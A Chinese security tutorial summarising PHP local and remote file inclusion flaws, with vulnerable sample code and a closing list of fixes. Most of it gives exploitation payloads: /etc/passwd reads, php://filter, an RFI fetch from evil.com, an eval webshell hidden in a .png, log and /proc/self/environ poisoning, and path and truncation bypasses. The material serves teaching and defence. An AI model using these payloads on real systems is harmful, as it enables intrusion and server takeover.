天天看點

網絡安全之檔案包含漏洞總結

作者:KaliMa

介紹

檔案包含漏洞屬于代碼注入漏洞,為了減少重複代碼的編寫,引入了檔案包含函數,通過檔案包含函數将檔案包含進來,直接使用包含檔案的代碼;簡單來說就是一個檔案裡面包含另外一個或多個檔案。

但我們除了包含正常的代碼檔案外,包含的任意字尾檔案都會被當作代碼執行,是以,如果有允許使用者控制包含檔案路徑的點,那麼則很有可能包含非預期檔案,進而執行非預期的代碼導緻getshell。

幾乎所有的腳本語言中都會提供檔案包含的功能,但檔案包含漏洞在PHP Web Application中居多,在JSP、ASP中十分少甚至沒有,問題在于語言設計的弊端。是以後續均以PHP為主。

檔案包含漏洞分類

PHP中的檔案包含分為本地檔案包含和遠端檔案包含。

LFI

本地檔案包含 Local File Include (LFI)

所包含檔案内容符合PHP文法規範,任何擴充名都可以被PHP解析。

所包含檔案内容不符合PHP文法規範,會暴露其源代碼(相當于檔案讀取)。

RFI

遠端檔案包含 Remote File Include (RFI)

如果要使用遠端包含功能,首先需要确定PHP是否已經開啟遠端包含功能選項(php預設關閉遠端包含功能:allow_url_include=off),開啟遠端包含功能需要在php.ini配置檔案中修改。

遠端包含與本地包含沒有差別,無非是支援遠端加載,更容易getshell,無論是哪種擴充名,隻要遵循PHP文法規範,PHP解析器就會對其解析。

PHP的檔案包含函數

PHP中提供了四個檔案包含的函數,分别是include()、include_once()、require()和require_once()。這四個函數都可以進行檔案包含,但作用并不一樣。

  • include:找不到被包含的檔案時隻會産生警告,腳本将繼續執行。
  • include_once:和include()語句類似,唯一差別是如果該檔案中的代碼已經被包含,則不會再次包含。
  • require:找不到被包含的檔案時會産生緻命錯誤,并停止腳本。
  • require_once:和require()語句類似,唯一差別是如果該檔案中的代碼已經被包含,則不會再次包含。

漏洞示例代碼

****<?php****
// index.php
$file = $_GET[ 'file' ];
****include****$file
****?>****
           

快速啟動一個簡單的解析php的web server

php -S 127.0.0.1:9999

測試:

http://127.0.0.1:9999/index.php?file=/etc/passwd

網絡安全之檔案包含漏洞總結

【一>所有資源關注我,私信回複“資料”擷取<一】

1、網絡安全學習路線

2、電子書籍(白帽子)

3、安全大廠内部視訊

4、100份src文檔

5、常見安全面試題

6、ctf大賽經典題目解析

7、全套工具包

8、應急響應筆記

利用任意檔案讀取

如果内容不符合php文法,就會直接傳回檔案内容,也就等于讀取任意檔案,和任意檔案讀取/下載下傳一樣,就不細說了

使用PHP封裝協定

PHP帶有很多内置URL風格的封裝協定

php://filter

正常情況下,包含php檔案會直接執行其中的代碼,但如果我們想擷取到php檔案的源碼,如config.php,那麼我們可以通過封裝協定php://filter來讀取

http://127.0.0.1:9999/index.php?file=php://filter/read=convert.base64-encode/resource=shell.png

網絡安全之檔案包含漏洞總結

php://input

**利用條件:**需要開啟allow_url_include=on,對allow_url_fopen不做要求

網絡安全之檔案包含漏洞總結

RFI getshell

如果支援遠端檔案包含,那麼直接http://127.0.0.1:9999/index.php?file=http://evil.com/shell.php即可getshell,因為出現的情況實在是太少了,就不多說了。

LFI+檔案上傳 getshell

這是本地檔案包含漏洞想要getshell的最容易想到的方法之一。

網站存在LFI漏洞,同時存在上傳功能,如上傳頭像、證明資訊等,那麼我們可以上傳一個包含惡意代碼的任意字尾檔案,如.png

其中.png的内容包含

<?php @eval($_GET['shell']);?>
           

利用如下:

http://127.0.0.1:9999/index.php?file=shell.png&shell=phpinfo();

網絡安全之檔案包含漏洞總結

[!tip]

可能上傳的檔案中幹擾因素過多,導緻利用的展示界面很亂,那麼我們可以通過file_put_contents()等函數單獨再寫一個webshell到其他檔案中。

LFI+日志檔案 getshell

日志檔案往往會包含我們的請求記錄,如果我們知道日志的檔案位置,那麼我們就可以将惡意的php代碼寫入到日志中,然後再通過檔案包含漏洞就可以執行相關的代碼。

舉例:

URL通路

http://127.0.0.1:9999/index.php?file=shell.png&test=<?php @eval($_GET['shell']);?>

payload會被記錄到日志檔案中,此時日志檔案如下

網絡安全之檔案包含漏洞總結

我們隻需要包含這個日志檔案,那麼就可以getshell

網絡安全之檔案包含漏洞總結

日志預設路徑:

可能會有所出入,一切以實際情況為準

路徑
tomcat /usr/local/tomcat/logs/localhost_access_log.2020-09-21.txt
apache+linux /var/log/apache2/access.log/var/log/httpd/access.log/etc/httpd/logs/access.log
nginx /var/log/nginx/access.log/usr/local/nginx/logs/access.log

LFI+/proc/self/environgetshell

在linux中,如果php以cgi方式運作,那麼/proc/self/environ中會包含請求頭中的UA資訊,也就可以getshell

GET lfi.php?file=../../../../../../proc/self/environ HTTP/1.1
User-Agent: <?php phpinfo();?>
           
網絡安全之檔案包含漏洞總結

LFI+phpinfo getshell

除了需要存在一個LFI漏洞外,還需要存在一個phpinfo()頁面

原理:向phpinfo()頁面POST上傳一個檔案,PHP就會将檔案儲存成一個臨時檔案,路徑通常為:/tmp/php[6個随機字元],這個臨時檔案,在請求結束後就會被删除。有點類似于條件競争的操作。

網絡安全之檔案包含漏洞總結

利用時需要修改工具中的參數和目标參數适配

LFI+session getshell

很雞肋很雞肋,要求你能控制session才行,一般我們可以先看下session中的内容哪些部分是可控的

php的session檔案的儲存路徑可以在phpinfo的session.save_path看到。

網絡安全之檔案包含漏洞總結

常見的php-session存放位置:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sessions

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID
           

如果可以控制session的内容,那麼相當于可以控制檔案/var/lib/php/sessions的内容,結合前面的操作就可以直接getshell了

繞過指定字首

漏洞代碼:

<?php
$file = $_GET['file'];
include'/var/www/html/'.$file;
?>
           

繞過方法:

通過…/回溯符跳轉到其他目錄,如../../../proc/self/environ

還是通過回溯符…/,主要是對内容進行編碼

URL編碼

2次URL編碼

容器/伺服器支援的編碼,…%c0%af== …/,…%c1%9c == …\

指定字尾

<?php
$file = $_GET['file'];
include****$file.'/test/test.php';
?>
           

支援RFI的情況下,可以用?和#來繞過,?後面表示參數,#後面表示錨點,都不會影響到實際的URL

利用僞協定zip://和phar://,以zip為例,先建立一個壓縮包,壓縮目錄為test/test/test.php,然後利用為zip://xxx.zip#test即可

php < 5.2.8的情況下,可以使用長度截斷,隻需要不斷的重複./即可,linux下4096位元組時會達到最大值,在window下是256位元組,在達到最大值後,後面的部分将會被省略。如 shell.php/./././././省略/./././;注意不能超過容器支援的最大長度,不然會提示GET請求太長。

php < 5.3.4且magic_quotes_gpc=off的情況下,存在00截斷,和上傳中的00截斷類似,讓後端誤以為這是結束符

修複建議

過濾.(點)/(反斜杠)\(反斜杠)等特殊字元

盡量關閉allow_url_include配置

PHP 中使用 open_basedir 配置限制通路在指定的區域

對需要包含的檔案設定檔案白名單

繼續閱讀